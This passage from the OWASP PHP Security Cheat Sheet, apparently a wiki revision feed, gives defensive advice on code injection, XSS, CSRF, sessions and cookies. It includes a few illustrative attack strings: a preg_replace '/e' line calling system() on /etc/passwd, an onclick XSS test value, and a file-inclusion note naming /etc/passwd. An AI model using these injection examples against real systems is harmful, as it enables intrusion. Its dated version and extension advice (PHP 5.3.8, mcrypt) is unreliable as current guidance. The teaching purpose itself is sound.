Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Access Control Cheat Sheet=&lt;br /&gt;
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues. &lt;br /&gt;
&lt;br /&gt;
=Cryptography Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you‘re done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Roy Vanegas</name></author>	</entry>

	</feed>